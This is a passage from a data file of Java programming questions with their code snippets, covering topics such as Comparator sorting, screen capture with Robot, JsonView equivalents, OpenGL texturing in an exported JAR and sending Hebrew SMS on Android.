== null ) return false ; if ( ! ( obj instanceof Credentials ) ) return false ; Credentials other = ( Credentials ) obj ; return this.username.equals ( other.username ) & & this.password.equals ( other.password ) ; } @ Override public String toString ( ) { return String.format ( `` [ \n\t % s\n\t % s\n ] '' , username , password ) ; } }",set does not contain an item that equals one of its members ? +Java,"I 'm open to use a lib . I just want something simple to diff two collections on a different criteria than the normal equals function.Right now I use something like : and I would like something like : ( edit ) More context : Should of mentioned that I 'm looking for something that exists already and not to code it myself . I might code a small utils from your ideas if nothing exists.Also , Real duplicates are n't possible in my case : the collections are Sets . However , duplicates according to the custom equals are possible and should not be removed by this operation . It seems to be a limitation in a lot of possible solutions .","collection1.stream ( ) .filter ( element - > ! collection2.stream ( ) .anyMatch ( element2 - > element2.equalsWithoutSomeField ( element ) ) ) .collect ( Collectors.toSet ( ) ) ; Collections.diff ( collection1 , collection2 , Foo : :equalsWithoutSomeField ) ;",Is there a simple way in Java to get the difference between two collections using a custom equals function without overriding the equals ? +Java,I am creating a screen capture using java.awt.Robot under Linux with OpenJDK 11 . The result on Linux is a whole black image . The same code works on Ubuntu and Windows ( using another file path of course ) .Any clue ? UPDATE : The the cause of the problem lies in the combination of OpenJDK and Wayland . With Oracle JDK/JRE ( 13.0.1 ) everything works fine .,"public void captureScreen ( ) throws AWTException { Robot robot = new Robot ( GraphicsEnvironment.getLocalGraphicsEnvironment ( ) .getDefaultScreenDevice ( ) ) ; BufferedImage screen = robot.createScreenCapture ( new Rectangle ( getDefaultToolkit ( ) .getScreenSize ( ) ) ) ; try { ImageIO.write ( screen , `` jpg '' , new File ( `` /tmp/screenshot.jpg '' ) ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } }",Screenshot robot only captures a black screen on Debian +Java,"I have much more experience in Spring and Java , but now I am working on ASP.NET Web API project.So in Spring there is @ JsonView annotation with which I can annotate my DTOs , so I could select which data I will show through REST . And I find that very useful . But I can not find any equivalent in ASP.NET . So I would need to create DTO for every special usecase . So for example in Java if I have UserEntity that contains information about users . Some information can be seen publicly and some can be seen only by admins . The siple solution could be thisSo in this case for equivalent functionality in ASP.NET I would need to create 2 DTOs . One for user that can be seen publicly and one for user that can be seen only by admin.Is there any better solution ? Is there some mechanism that I can use to create view over my data in ASP.NET Web API ?","public class UserEntity { @ JsonView ( Views.Public.class ) @ JsonProperty ( `` ID '' ) private Integer id ; @ JsonView ( Views.Public.class ) private String name ; @ JsonView ( Views.Admin.class ) @ JsonFormat ( shape = JsonFormat.Shape.STRING , pattern = `` dd-MM-yyyy hh : mm : ss '' ) private Date dateOfBirth ; @ JsonView ( Views.Admin.class ) private String email ; @ JsonIgnore private String password ; private Integer version ; } public class PublicUserDto { public int ID { get ; set ; } public String Name { get ; set ; } } public class AdminUserDto { public int ID { get ; set ; } public String Name { get ; set ; } public DateTime DateOfBirth { get ; set ; } public string Email { get ; set ; } }",Is there @ JsonView equivalent in ASP.NET Web API +Java,"Reading this piece of information , it states that : We require braces around the statements for a conditional . Except , if the entire conditional ( the condition and the body ) fit on one line , you may ( but are not obligated to ) put it all on one line . That is , this is legal : and this is legal : but this is still illegal : Why is the last mentioned bad ? It is a mix of the two above , but what is the motivation for not using that kind of style ? IMO , it is the most readable ( or equaly readable to the first one ) .I know that may not apply to Android specifically , but it 's the first place I 've heard about it .",if ( condition ) { body ( ) ; } if ( condition ) body ( ) ; if ( condition ) body ( ) ; // bad !,Android standard brace style legality +Java,"I 'm currently getting an error when attempting to sort these Pet objects by weight . I 'm sure it 's something simple , but I ca n't see why this compare is n't working . Error : The return type is incompatible with java.util.Comparator.compare ( Pet , Pet ) ArrayListNoDups classPet class","import java.util . * ; import java.util.Collections ; import java.util.Comparator ; import java.lang.Object ; public class ArrayListNoDups { public static void main ( String [ ] args ) { ArrayList < Pet > list = new ArrayList < Pet > ( ) ; String name ; Integer age ; Double weight ; Scanner keyboard = new Scanner ( System.in ) ; System.out.println ( `` If you wish to stop adding Pets to the list , please put a 0 for all 3 fields . `` ) ; do { System.out.println ( `` Enter a String for Pet name : `` ) ; name = keyboard.next ( ) ; System.out.println ( `` Enter an int for Pet age : `` ) ; age = keyboard.nextInt ( ) ; System.out.println ( `` Enter a double for Pet weight : `` ) ; weight = keyboard.nextDouble ( ) ; if ( name.length ( ) > 0 & & age > 0 & & weight > 0 ) list.add ( new Pet ( name , age , weight ) ) ; } while ( name.length ( ) > 0 & & age > 0 & & weight > 0 ) ; System.out.println ( `` Your list sorted by WEIGHT ========================= `` ) ; Collections.sort ( list , Pet.SortByWeight ) ; for ( Pet p2 : list ) p2.writeOutput ( ) ; } } import java.util . * ; public class Pet { private String name ; private Integer age ; // in years private double weight ; // in pounds public void writeOutput ( ) { System.out.println ( `` Name : `` + name ) ; System.out.println ( `` Age : `` + age + `` years '' ) ; System.out.println ( `` Weight : `` + weight + `` pounds '' ) ; } public void set ( String newName ) { name = newName ; // age and weight are unchanged . } public void set ( int newAge ) { if ( newAge < = 0 ) { System.out.println ( `` Error : illegal age . `` ) ; System.exit ( 0 ) ; } else age = newAge ; // name and weight are unchanged . } public void set ( double newWeight ) { if ( newWeight < = 0 ) { System.out.println ( `` Error : illegal weight . `` ) ; System.exit ( 0 ) ; } else weight = newWeight ; // name and age are unchanged . } public Pet ( String name , int age , double weight ) { this.name = name ; this.age = age ; this.weight = weight ; } public String getName ( ) { return name ; } public int getAge ( ) { return age ; } public double getWeight ( ) { return weight ; } public static Comparator < Pet > SortByWeight = new Comparator < Pet > ( ) { public double compare ( Pet pet1 , Pet pet2 ) { return pet1.getWeight ( ) - pet2.getWeight ( ) ; } } ; }",ArrayList sorting objects using Comparator +Java,"For example , we have two domain objects : Cell and Body ( as in human cell and body ) .The Body class is just a collection of Cells , e.g.The Cell has a Split method , which internally creates a clone of itself , e.g.Now , in DDD when the cell splits should : The cell add the newly created cell to the Body ( which would mean that each Cell object held a reference to its containing body ) ? Or should the service layer which received the intitial user request call Split , collect the returned Cell and add it to the Body ? ( feels like a more anemic design using controllers rather than domain objects ) Or should the Body contain a SplitCell method ? Thanks in advance .",class Body { IList < Cell > cells ; public void AddCell ( Cell c ) { ... } public void RemoveCell ( Cell c ) { ... } } Class Cell { public Cell Split ( ) { Cell newCell = new Cell ( ) ; // Copy this cell 's properties into the new cell . return Cell ; } },In Domain Driven Design when an entity clones itself who adds it to its container ? +Java,"For educational purposes I 'm writing a simple version of AtomicLong , where an internal variable is guarded by ReentrantReadWriteLock.Here is a simplified example : My question : since `` value '' is non-volatile , is it possible for other threads to observe incorrect initial value via PlainSimpleAtomicLong.get ( ) ? E.g . thread T1 creates L = new PlainSimpleAtomicLong ( 42 ) and shares reference with a thread T2 . Is T2 guaranteed to observe L.get ( ) as 42 ? If not , would wrapping this.value = initialValue ; into a write lock/unlock make a difference ?","public class PlainSimpleAtomicLong { private long value ; private final ReentrantReadWriteLock rwLock = new ReentrantReadWriteLock ( ) ; public PlainSimpleAtomicLong ( long initialValue ) { this.value = initialValue ; } public long get ( ) { long result ; rwLock.readLock ( ) .lock ( ) ; result = value ; rwLock.readLock ( ) .unlock ( ) ; return result ; } // incrementAndGet , decrementAndGet , etc . are guarded by rwLock.writeLock ( ) }",Guarding the initialization of a non-volatile field with a lock ? +Java,"I just started learning Java and I was interested in the File libraries . So I kept a notepad file open called filename.txt . Now I want to write to file using Java , but I want to get the result in real time.I.e when the java code executes the changes should be visible in the text file without closing and reopening the file . Here my code : Is it possible and if so can someone tell me how ?","import java.io . * ; class Locker { File check = new File ( `` filename.txt '' ) ; File rename = new File ( `` filename.txt '' ) ; public void checker ( ) { try { FileWriter chk = new FileWriter ( `` filename.txt '' ) ; if ( check.exists ( ) ) { System.out.println ( `` File Exists '' ) ; chk.write ( `` I have written Something in the file , hooray '' ) ; chk.close ( ) ; } } catch ( Exception e ) { } } } ; class start { public static void main ( String [ ] args ) { Locker l = new Locker ( ) ; l.checker ( ) ; } }",How to write to file synchronously using java ? +Java,"I am trying to solve a problem that involves basically implementing a logical AND between the input parameter.The complexity of the problem involves the size of the input parameters . To give a high level overview , I am trying to implement the logic similar toThe complexity is that some of the input parameters can be 400 bits long . Its not a true binary number representation . It 's more of a positional representation . The same input can be represented asSo basically `` x '' is just a prefix with the value for it . This is an ACL system designed a long time ago and I am trying to implement a Java version for it.I could n't find a data type in Java that could be used to represent a binary representation that is as huge as having 400 bits . I can also use the decimal representation [ ie. , x2,3 ] and solve it too , but I could n't think of way other than looping through the entire number range and comparing it with the other input parameter . Both input parameters could be normalized to the same representation format [ ie. , binary or decimal ] .Any suggestions ( or ) help on how I can solve this problem ?","100 & 100 == 100001 & 010 == 0001 & 100 == 0 ... .. 100 = x1 ; ( or ) x100011 = x2,3 ; ( or ) x011001 ... ... .11 = x3 , ... ... 450,451 ;",Problem with implementing a bitwise AND problem in Java +Java,"For various reasons I am trying to set a string to 2000 spaces . Currently I am using : This is great for Java 5 , however , some of the developers in our department are using 1.4 and this does not work.I was wondering , are any other ways of achieving the same result ? I know I can do things like a for loop adding a space at a time , but I am looking for something simple like the format option.For those that may be interested in why I need this , it is because we have an XML type on a dataobject that on insert into the DB is null . It then gets updated with the XML string , usually around 2000 characters in size . In Oracle pre-reserving this space can prevent row migration , therefore , increasing performance.Thanks !","String s = String.format ( `` % 1 $ -2000s '' , '' `` ) ;",What ways can you create a string with 2000 `` spaces '' +Java,"I am trying to make a program which prints all Unicode symbols \u6000 through \u7000 ( 1000 symbols ) . My program prints 50 characters , starts a new line , prints 50 more , etc . ( no issue there ) . I know how to print Unicode symbols , but I am not sure how to print them incrementally ( adding 1 each time ) . Here is my program : I get an error on my print statement , where I typed `` \u '' +i saying `` Invalid unicode '' because \u is not completed with numbers , but I have no idea how to fix it .","public class UnicodePrinter { public static void main ( String args [ ] ) { for ( int i = 6000 ; i < 7000 ; i++ ) { if ( i % 50 == 0 ) { System.out.println ( ) ; } System.out.print ( `` \u '' +i ) ; //issue here , see below } } }",How can I print unicode symbols within a certain range ? +Java,"I 've got a gigantic Trove map and a method that I need to call very often from multiple threads . Most of the time this method shall return true . The threads are doing heavy number crunching and I noticed that there was some contention due to the following method ( it 's just an example , my actual code is bit different ) : Note that it 's an `` append only '' map : once a key is added , is stays in there forever ( which is important for what comes next I think ) .I noticed that by changing the above to : I get a 20 % speedup on my number crunching ( verified on lots of runs , running during long times etc . ) .Does this optimization look correct ( knowing that once a key is there it shall stay there forever ) ? What is the name for this technique ? EDITThe code that updates the map is called way less often than the containsSpecial ( ) method and looks like this ( I 've synchronized the entire method ) :","synchronized boolean containsSpecial ( ) { return troveMap.contains ( key ) ; } boolean containsSpecial ( ) { if ( troveMap.contains ( key ) ) { // most of the time ( > 90 % ) we shall pass here , dodging lock-acquisition return true ; } synchronized ( this ) { return troveMap.contains ( key ) ; } } synchronized void addSpecialKeyValue ( key , value ) { ... . }",What is the name of this locking technique ? +Java,"Given a ZonedDateTime , calling toString then ZonedDateTime.parse returns a different time in some cases.Here is a specific example . Code is in Scala but it 's no different in Java.The re-parsed value also has a different epochMilli : Using .format ( DateTimeFormatter.ISO_ZONED_DATE_TIME ) instead of .toString does n't work either.According to the Javadoc for Instant # atZone which defers to https : //docs.oracle.com/javase/8/docs/api/java/time/ZonedDateTime.html # ofInstant-java.time.Instant-java.time.ZoneId- Converting an instant to a zoned date-time is simple as there is only one valid offset for each instant.What 's going on ? Edit : It 's also worth mentioning that daylight savings occurred around the sample time ( ref ) such that there were two instances of 02:27:07.725 . As you can see from .toString the offset is correct but parsing does n't seem to respect it .","import java.time._val t = 1193534827725Lval z = ZoneId.of ( `` Europe/Paris '' ) val a = Instant.ofEpochMilli ( t ) .atZone ( z ) // 2007-10-28T02:27:07.725+01:00 [ Europe/Paris ] val b = ZonedDateTime.parse ( a.toString ) // 2007-10-28T02:27:07.725+02:00 [ Europe/Paris ] a == b // returns false ! scala > List ( a , b ) .map ( _.toInstant.toEpochMilli ) res46 : List [ Long ] = List ( 1193534827725 , 1193531227725 ) scala > List ( a , b ) .map ( _.toInstant.toEpochMilli == t ) res47 : List [ Boolean ] = List ( true , false )",ZonedDateTime.parse bug ? +Java,"We are working with spark 1.6 and we are trying to keep global identity for similar events . There can be few `` groups '' of events with identical ID ( in the example as number . letters are added just for uniqueness ) . And we know that some of these events are similar so we are able to connect them . We want to keep something like : so in a future if some events with id 4 will come we can assign X as a global identity.Please check example for better illustration : Let 's say we have some streaming data coming into spark job.Since event 1 is our first appearance we want to assign 1 to Z . Next what we know is that 1b and 2c are similar . so we want to keep somewhere 2- > 1 mapping . Same thing is for 2e and 3f so we need mapping 3-2 . So for now we have 3 pairs 1- > Z , 2- > 1 , 3- > 2.And we want to create `` historical '' path : Z < - 1 < - 2 < - 3At the end we will have all events with ID = Z.We tried to use mapwithstate but only thing we were able to do was that 2- > 1 and 3- > 2 . With mapwithstate we were not able to get state for `` parent '' in state for current event - eg . current event 3 with parent 2 and not able to get 2 - > 1 and neither 1 - > Z.Is it possible to have some global mapping for this ? We already tried accumulators and broadcast but looks like not very suitable . And we were not able to replace events 1 for first mapping and events 2 for second mapping with Z.If new event 5 will come and it is similar with 3h for example we need to assign mapping 5- > Z again .","Z - > 1 , 2 , 3X - > 4 1a1b2c2d2e3f3g3h4i 1a - > Z1b - > Z2c - > Z2d - > Z2e - > Z3f - > Z3g - > Z3h - > Z4i - > X",Build stateful chain for different events and assign global ID in spark +Java,"I run this code : Result : try : 1 catch : 2 finally : 3 Exception in thread `` main '' java.lang.NullPointerException at user.main ( User.java:17 ) in block catch - ArrayIndexOutOfBoundsException , but we loss this Exception , why ?",public class User { public static void main ( String args [ ] ) { int array [ ] = new int [ 10 ] ; int i = 1 ; try { System.out.println ( `` try : `` + i++ ) ; System.out.println ( array [ 10 ] ) ; System.out.println ( `` try '' ) ; } catch ( Exception e ) { System.out.println ( `` catch : `` + i++ ) ; System.out.println ( array [ 10 ] ) ; System.out.println ( `` catch '' ) ; } finally { System.out.println ( `` finally : `` + i++ ) ; Object o = null ; o.hashCode ( ) ; System.out.println ( `` finally '' ) ; } } },loss exception in block catch +Java,"I am using this libray to cluster GoogleMap in Android . My question is how can I update the single item I have gone through google from yesterday and no answers are there that explains updating single item . I am using websocket in my project so I need to update the data of item that were received from websocket . Look my implementation below . My concept is doing mClusterManager.remove ( item ) mClusterManager.add ( item ) + mClusterManager.cluster ( ) whenever I receive data from websocket.and hasmap to identify the object on loop while adding to cluseter like : hashmap.put ( _id , mClusterItem [ i ] ) ; Now , Whenever on websocket data is received I do , However the above code works first when first data receives , then from second time it will just keep adding the marker and fails to remove that means mClusterManager.remove ( hasmap.get ( _id ) ) is not found . And appClusterItem [ 0 ] is because I can not use hashmap.get ( _id ) ; on above case bacause it give error variable expected . Anyway to remove the same object and add object on that place ? ?","onDataReceive ( String _id , String name , double latlng , ... . ) { mClusterManager.remove ( hashmap.get ( _id ) ) ; appClusterItem [ 0 ] = new AppClusterItem ( ... .. ) ; mClusterManager.add ( appClusterItem [ 0 ] ) // Here how can I add item mClusterManager.cluster ( ) ; }",Update single item GoolgeMap Cluster +Java,"This issue is now fixed . My shader attributes were not bound correctly.I have got a game , which when ran from the IDE looks like this : However , when I export it from Eclipse with these settings , The texturing is completely incorrect . The textures are still loaded , but they are not wrapping correctly onto the object.The code is exactly the same , as I only just exported it , and I am currently running both windows of the game at the same time ( One working fine from the IDE , one looking weird from an exported JAR ) .I have also copied all the resources from the IDE directory to the folder with the external JAR . IDE directory : Directory I run the external JAR from : Also , I know that the textures are actually loading - They are not wrapping correctly . I know this because : If you look at the plane , you can see that it still has elements of the texture - They are just all stretched and messed up.Same thing with the Skybox . If you look at that , parts are still there , but again , it 's incorrectly wrapped around the OBJ model.If I hit the Q key to render the terrain with a DisplayList ( Wrapping the terrain texture multiple times ) , it shows the texture . Ca n't get a screenshot of this because I ca n't hit Q and take a screenshot.I have checked inside the JAR file , and the fragment and the vertex shader are still there . The correct libraries also appear to be there ( Besides , if they were n't , the game would not even start ) .Update : As I was restarting the game multiple times to check for more information , I noticed that as soon as the display shows ( so I can see the incorrectly-textured terrain and plane ) , the game freezes about 90 % of the time . No Stacktrace , just a `` This window is not responding and windows is closing it '' .The game still works perfectly without crashing when I run it in the IDE.The server for the game exports and runs perfectly . Only the client is the issue.What about exporting could make the game any different than running it in the IDE , and how can I solve it ? Update : So here is my texture loading code : I now have the texture ID of the texture . I then render the object ( in this case the plane ) like this : And , although I do n't think they 're important , my vertex and fragment shaders : Again , I will stress that all of this is working perfectly if the game is running from the IDE . It is just if it runs from an external JAR that the issue occurs.I will be experimenting with different texture loading techniques and methods ( e.g . packing textures into the JAR ) and seeing if anything different happens.Yet another update : So , I sent the game to another person ( They also use windows 8 ) , and the game worked perfectly ! No texturing errors whatsoever ! So now I 'm unsure if the problem is with my PC specifically or something else.For those who wish to try , you can download the game at http : //endcraft.net/PlaneGame and see it yourself ( Please read the instructions.txt - Also , you 'll need a program to decompress .rar files ) .I will be getting as many people as I know to give the game a go and see if they have the same issue or if the texturing is correct . It is completely baffling me that it works fine when I run it from the IDE , but does not work when I export into an external jar , but does work when I export it into an external jar and send it to someone else ! ( another ) Update : I have sent the game to multiple people , some of them are coming across this crash : In the log file , I see this : In other words , the entire issue ( the texturing and the crashes ) are beginning to look a lot like they are related to the shaders ( either parsing information to them , or the actual shader code itself ) .I have also done more testing , and the texturing works fine without shaders using a DisplayList.Here is the code up to the glUniformMatrix ( ) call : Update - So , with one hour left on the Bounty , I thought I 'd add a few more details : As I probably said somewhere above , the game works for some when exported , but not for others . I 've noticed that the game has always worked when ran on java 7 , but with me only me and one other tester on java 7 , this really is n't conclusive.The texturing renders correctly in a DisplayList . The textures are loading . However , they are not being displayed correctly.Even if you do n't know the problem , trying out the game ( ignore the start screen , I need to make a new one ) and telling me the results , as well as your OS/Java details , etc , would be really appreciated.Yes , the mipmapping is correct . I know someone in the comments mentioned it possibly was n't , but I 've tried setting it stupidly high and I do indeed get a very blurred texture.I 've already tried `` package libraries into external jar '' . I appreciate the time taken for that answer , but I did say in the comments that I 've already tried it.The issue may be the fragment shader ( as someone suggested in the comments ) , but I am currently unsure how to test it , nor do I understand why it would work inside the IDE but not outside of it .","loader.loadTexture ( `` PlaneTexture '' , 1 ) ; //loadTexture ( ) method : public int loadTexture ( String fileName , int mipmap ) { Texture texture = null ; try { try { texture = TextureLoader.getTexture ( `` PNG '' , new FileInputStream ( `` res/ '' + fileName + `` .png '' ) ) ; //TextureLoader is a Slick-Util class . } catch ( Exception e ) { e.printStackTrace ( ) ; } if ( texture == null ) { throw new Exception ( `` Null texture ! `` ) ; } //texture = TextureLoader.getTexture ( `` GIF '' , new FileInputStream ( `` res/ '' + fileName + `` .png '' ) ) ; if ( mipmap > -10 ) { GL30.glGenerateMipmap ( GL11.GL_TEXTURE_2D ) ; GL11.glTexParameteri ( GL11.GL_TEXTURE_2D , GL11.GL_TEXTURE_MIN_FILTER , GL11.GL_LINEAR_MIPMAP_LINEAR ) ; GL11.glTexParameterf ( GL11.GL_TEXTURE_2D , GL14.GL_TEXTURE_LOD_BIAS , mipmap ) ; } } catch ( Exception e ) { e.printStackTrace ( ) ; System.err.println ( `` Tried to load texture `` + fileName + `` .png , did n't work '' ) ; System.exit ( 1 ) ; return -1 ; } textures.add ( texture.getTextureID ( ) ) ; return texture.getTextureID ( ) ; } Plane you = Main.TerrainDemo.shipsID.get ( Main.TerrainDemo.UID ) ; Main.TerrainDemo.shader.start ( ) ; TexturedModel texturedModel = TerrainDemo.shipModel ; //The plane model RawModel model = texturedModel.getRawModel ( ) ; GL30.glBindVertexArray ( model.getVaoID ( ) ) ; GL20.glEnableVertexAttribArray ( 0 ) ; GL20.glEnableVertexAttribArray ( 1 ) ; GL20.glEnableVertexAttribArray ( 2 ) ; GL13.glActiveTexture ( GL13.GL_TEXTURE0 ) ; GL11.glBindTexture ( GL11.GL_TEXTURE_2D , TerrainDemo.shipModel.getTexture ( ) .getID ( ) ) ; //The ID of the texture . glDrawElements ( GL_TRIANGLES , model.getVertexCount ( ) , GL11.GL_UNSIGNED_INT , 0 ) ; //Vertex shader # version 130in vec3 position ; in vec2 textureCoords ; in vec3 normal ; out vec2 pass_textureCoords ; out vec3 surfaceNormal ; out vec3 toLightVector ; uniform mat4 transformationMatrix ; uniform vec3 lightPosition ; void main ( void ) { gl_Position = ftransform ( ) ; pass_textureCoords = textureCoords ; surfaceNormal = ( transformationMatrix * vec4 ( normal , 0.0 ) ) .xyz ; toLightVector = ( vec3 ( 500 , 50000 , 500 ) ) - ( transformationMatrix * vec4 ( position , 1.0 ) ) .xyz ; } //Fragment shader # version 130in vec2 pass_textureCoords ; in vec3 surfaceNormal ; in vec3 toLightVector ; out vec4 out_Color ; uniform sampler2D textureSampler ; uniform vec3 lightColour ; void main ( void ) { vec3 unitNormal = normalize ( surfaceNormal ) ; vec3 unitLightVector = normalize ( toLightVector ) ; float nDot1 = dot ( unitNormal , unitLightVector ) ; float brightness = max ( nDot1 , 0.2 ) ; brightness = brightness + 0.5 ; vec3 diffuse = brightness * vec3 ( 1 , 1 , 1 ) ; vec4 textureColor = vec4 ( diffuse , 1.0 ) * texture ( textureSampler , pass_textureCoords ) ; if ( textureColor.a < 1 ) { discard ; } out_Color = vec4 ( textureColor.r , textureColor.g , textureColor.b , 1 ) ; } # A fatal error has been detected by the Java Runtime Environment : # # EXCEPTION_ACCESS_VIOLATION ( 0xc0000005 ) at pc=0x1cd6b57f , pid=36828 , tid=35556 # # JRE version : Java ( TM ) SE Runtime Environment ( 8.0_31-b13 ) ( build 1.8.0_31-b13 ) # Java VM : Java HotSpot ( TM ) Client VM ( 25.31-b07 mixed mode windows-x86 ) # Problematic frame : # C [ atioglxx.dll+0xc0b57f ] # Stack : [ 0x011d0000,0x01220000 ] , sp=0x0121f1e8 , free space=316kNative frames : ( J=compiled Java code , j=interpreted , Vv=VM code , C=native code ) C [ atioglxx.dll+0xc0b57f ] C [ atioglxx.dll+0xbe8b95 ] C [ atioglxx.dll+0x641852 ] C [ lwjgl.dll+0x9a28 ] j org.lwjgl.opengl.GL20.glUniformMatrix4 ( IZLjava/nio/FloatBuffer ; ) V+33j TMLoading.ShaderProgram.loadMatrix ( ILorg/lwjgl/util/vector/Matrix4f ; ) V+23jTMLoading.StaticShader.loadTransformationMatrix ( Lorg/lwjgl/util/vector/Matrix4f ; ) V+6j Joehot200.Plane.render ( ) V+407j Joehot200.TerrainDemo.render ( ) V+4045j Joehot200.TerrainDemo.enterGameLoop ( ) V+356j Joehot200.TerrainDemo.startGame ( ) V+320j StartScreenExperiments.Test2.resartTDemo ( ) V+128j StartScreenExperiments.Test2.main ( [ Ljava/lang/String ; ) V+27v ~StubRoutines : :call_stubV [ jvm.dll+0x1473e5 ] //Some unnecessary code has been removed . For example , you do not care about what colour I make the plane depending on what team it is on . //Plane class . ( Referring to a jet plane which is the main object the player controls ) public void render ( ) { twodcoords = TextDemo.getScreenCoords ( sx , sy + 30 , sz ) ; glPushAttrib ( GL_ENABLE_BIT ) ; glBindBuffer ( GL_ARRAY_BUFFER , 0 ) ; glPushMatrix ( ) ; glTranslatef ( sx , sy , sz ) ; GL30.glBindVertexArray ( Main.TerrainDemo.vaoID ) ; glEnableClientState ( GL_VERTEX_ARRAY ) ; glEnableClientState ( GL_NORMAL_ARRAY ) ; glRotatef ( srot , 0f , 1f , 0f ) ; glRotatef ( pitch , -1f , 0f , 0f ) ; Main.TerrainDemo.shader.start ( ) ; glPushMatrix ( ) ; glDisable ( GL_LIGHTING ) ; TexturedModel texturedModel = TerrainDemo.shipModel ; RawModel model = texturedModel.getRawModel ( ) ; GL30.glBindVertexArray ( model.getVaoID ( ) ) ; GL20.glEnableVertexAttribArray ( 0 ) ; GL20.glEnableVertexAttribArray ( 1 ) ; GL20.glEnableVertexAttribArray ( 2 ) ; GL13.glActiveTexture ( GL13.GL_TEXTURE0 ) ; GL11.glBindTexture ( GL11.GL_TEXTURE_2D , TerrainDemo.shipModel.getTexture ( ) .getID ( ) ) ; org.lwjgl.util.vector.Matrix4f m = Assist.createTransformationMatrix ( new Vector3f ( sx , sy , sz ) , new Vector3f ( pitch , rot , roll ) , new Vector3f ( 5 , 5 , 5 ) ) ; //Creates a transformation matrix based on the X , Y , Z , Pitch , yaw , roll , and scale of the plane . Main.TerrainDemo.shader.loadTransformationMatrix ( m ) ; glDrawElements ( GL_TRIANGLES , model.getVertexCount ( ) , GL11.GL_UNSIGNED_INT , 0 ) ; GL20.glDisableVertexAttribArray ( 0 ) ; GL20.glDisableVertexAttribArray ( 1 ) ; GL20.glDisableVertexAttribArray ( 2 ) ; GL30.glBindVertexArray ( 0 ) ; GL30.glBindVertexArray ( 0 ) ; glPopMatrix ( ) ; glPopAttrib ( ) ; } //StaticShader class . This method literally just passes it to the loadMatrix class . public void loadTransformationMatrix ( Matrix4f matrix ) { super.loadMatrix ( location_transformationMatrix , matrix ) ; } //ShaderProgram class.FloatBuffer buf = BufferUtils.createFloatBuffer ( 4 * 4 ) ; public void loadMatrix ( int location , Matrix4f matrix ) { matrix.store ( buf ) ; buf.flip ( ) ; GL20.glUniformMatrix4 ( location , false , buf ) ; }","Exporting Eclipse project causes incorrect texturing and crashes ," +Java,"I am using Phonegap to create plugin aimed at sending SMS . Below is the function I use to do it.When the variable `` message '' contains English , everything works fine . But if the message is in Hebrew , I receive an error.See below input in Hebrewסך הלכל מוזמן 2 פריטים סלט פיצוצ בסרי שווה ל 10.3 כמות 1סלט שרימפס שווה ל 8.15 כמות 2 סך הכל חשבון 26.6 שקלים Below is a class that holds the text description . I suspect that the problem is problem with the unicode , but I do not know how to fix it.Please help.See below the definition of the manifest file , to see the target version .","private void sendSMS ( String phoneNumber , String message ) { // Activity currentActivity = ( Activity ) this.ctx ; SmsManager manager = SmsManager.getDefault ( ) ; PendingIntent sentIntent = PendingIntent.getActivity ( cordova.getContext ( ) , 0 , new Intent ( ) , 0 ) ; manager.sendTextMessage ( phoneNumber , null , message , sentIntent , null ) ; } public class MenuEntry { public String getPid ( ) { return pid ; } public void setPid ( String pid ) { this.pid = pid ; } public String getTitle ( ) { return title ; } public void setTitle ( String title ) { this.title = title ; } public String getDescription ( ) { return description ; } public void setDescription ( String description ) { this.description = description ; } public double getPrice ( ) { return price ; } public void setPrice ( double price ) { this.price = price ; } public String getCategoryName ( ) { return categoryName ; } public void setCategoryName ( String categoryName ) { this.categoryName = categoryName ; } public MenuEntry ( ) { super ( ) ; this.pid = `` '' ; } public String GetPriceAndDescription ( int unit ) { StringBuilder result = new StringBuilder ( ) ; result.append ( this.getTitle ( ) ) ; result.append ( `` שווה ל `` ) ; result.append ( this.getPrice ( ) ) ; result.append ( `` כמות `` ) ; result.append ( unit ) ; result.append ( `` \n '' ) ; return result.toString ( ) ; } public String GetPriceAndDescription ( ) { StringBuilder result = new StringBuilder ( ) ; result.append ( this.getTitle ( ) ) ; result.append ( `` שווה ל `` ) ; result.append ( this.getPrice ( ) ) ; result.append ( `` \n '' ) ; return result.toString ( ) ; } public MenuEntry ( String pid , String title , String description , double price , String categoryName ) { super ( ) ; this.pid = pid ; this.title = title ; this.description = description ; this.price = price ; this.categoryName = categoryName ; } private String pid ; private String title ; private String description ; private double price ; private String categoryName ; } < uses-sdk android : minSdkVersion= '' 7 '' android : targetSdkVersion= '' 15 '' / >",Hebrew SMS in Android +Java,"I 'm writing a master program for my simulator flying . I get briefings in a .txt file , and I am attempting to read the file with a scanner . The .txt file contains a degree symbol , and this causes the scanner to not to read the entire file.Ive put the line in queston below ( Line 23 ) Note that the output gives the first 16 lines of the txt file when there are 726 lines . I know its the degree symbol because when I edit the txt and remove the degree symbols , the program outputs all the lines .","public static String [ ] ConvertFile ( String FileName ) { ArrayList < String > FileArray = new ArrayList < String > ( ) ; int count = 0 ; try { Scanner file = new Scanner ( new File ( `` C : \ < File Location > '' + FileName ) ) ; while ( file.hasNextLine ( ) ) { count++ ; String Line = file.nextLine ( ) ) ; System.out.printf ( `` % 3d : % s % n '' , count , Line ) ; System.out.println ( count ) ; } } catch ( FileNotFoundException fnfe ) { System.out.println ( `` File Not Found . `` ) ; } return null ; } COND : 140475 LB // RWY DRY // +14°C Q1021 270/09 // LMT : OBS ( B )",Reading degree symbol from .txt file with scanner +Java,"What algorithm can I use to find the set of all positive integer values of n1 , n2 , ... , n7 for which the the following inequalities holds true.For example one set n1= 2 , n2 = n3 = ... = n7 =0 makes the inequality true . How do I find out all other set of values ? The similar question has been posted in M.SE.ADDED : : I need to generalize the solution for n variables ( might be large ) . What procedure can I apply ? For another particular case n=8Python takes forever . Wolfram Mathematica reveals that there are 4015 solutions in less than minute .","97n1 + 89n2 + 42n3 + 20n4 + 16n5 + 11n6 + 2n7 - 185 > 0-98n1 - 90n2 - 43n3 - 21n4 - 17n5 - 12n6 - 3n7 + 205 > 0n1 > = 0 , n2 > = 0 , n3 > =0 . n4 > =0 , n5 > =0 , n6 > =0 , n7 > = 0 97n1 + 89n2 + 42n3 + 20n4 + 16n5 + 11n6 + 6n7 + 2n8 - 185 > 0-98n1 - 90n2 - 43n3 - 21n4 - 17n5 - 12n6 - 7 - 3n8 + 205 > 0n1 > = 0 , n2 > = 0 , n3 > =0 . n4 > =0 , n5 > =0 , n6 > =0 , n7 > = 0 , n8 > = 0 Length [ Solve [ { 97 n1 + 89 n2 + 42 n3 + 20 n4 + 16 n5 + 11 n6 + 6 n7 + 2 n8 - 185 > 0 , -98 n1 - 90 n2 - 43 n3 - 21 n4 - 17 n5 - 12 n6 - 7 n7 - 3 n8 + 205 > 0 , n1 > = 0 , n2 > = 0 , n3 > = 0 , n4 > = 0 , n5 > = 0 , n6 > = 0 , n7 > = 0 , n8 > = 0 } , { n1 , n2 , n3 